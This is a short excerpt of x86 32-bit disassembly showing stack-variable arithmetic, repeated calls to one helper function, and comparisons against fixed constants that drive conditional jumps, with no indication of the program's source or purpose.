mov esi, dword [ebp - 0x78]
add esi, dword [eax]
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
cmp esi, dword [eax]
je 0x1000b02e
mov dword [ebp - 0x8fc], 1
jmp 0x1000b035
and dword [ebp - 0x8fc], 0
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov ecx, dword [ebp - 0x8fc]
sub ecx, dword [eax]
mov dword [ebp - 0x564], ecx
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x564]
mov dword [ebp + eax - 0xe58], ecx
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x1000b084
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xe58], 0x58d0336d
jge 0x1000b0a2
mov dword [ebp - 0x7cc], 1
jmp 0x1000b0a9
and dword [ebp - 0x7cc], 0
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov ecx, dword [ebp - 0x7cc]
imul ecx, dword [eax]
imul eax, ecx, 0xffffffff
cmp eax, 0x5a52
jl 0x1000b0d5
mov dword [ebp - 0x56c], 1
jmp 0x1000b0dc
and dword [ebp - 0x56c], 0
push 2
lea ecx, [ebp - 0x180]
call fcn.10018d32
mov ecx, dword [ebp - 0x56c]
cmp ecx, dword [eax]
jge 0x1000b106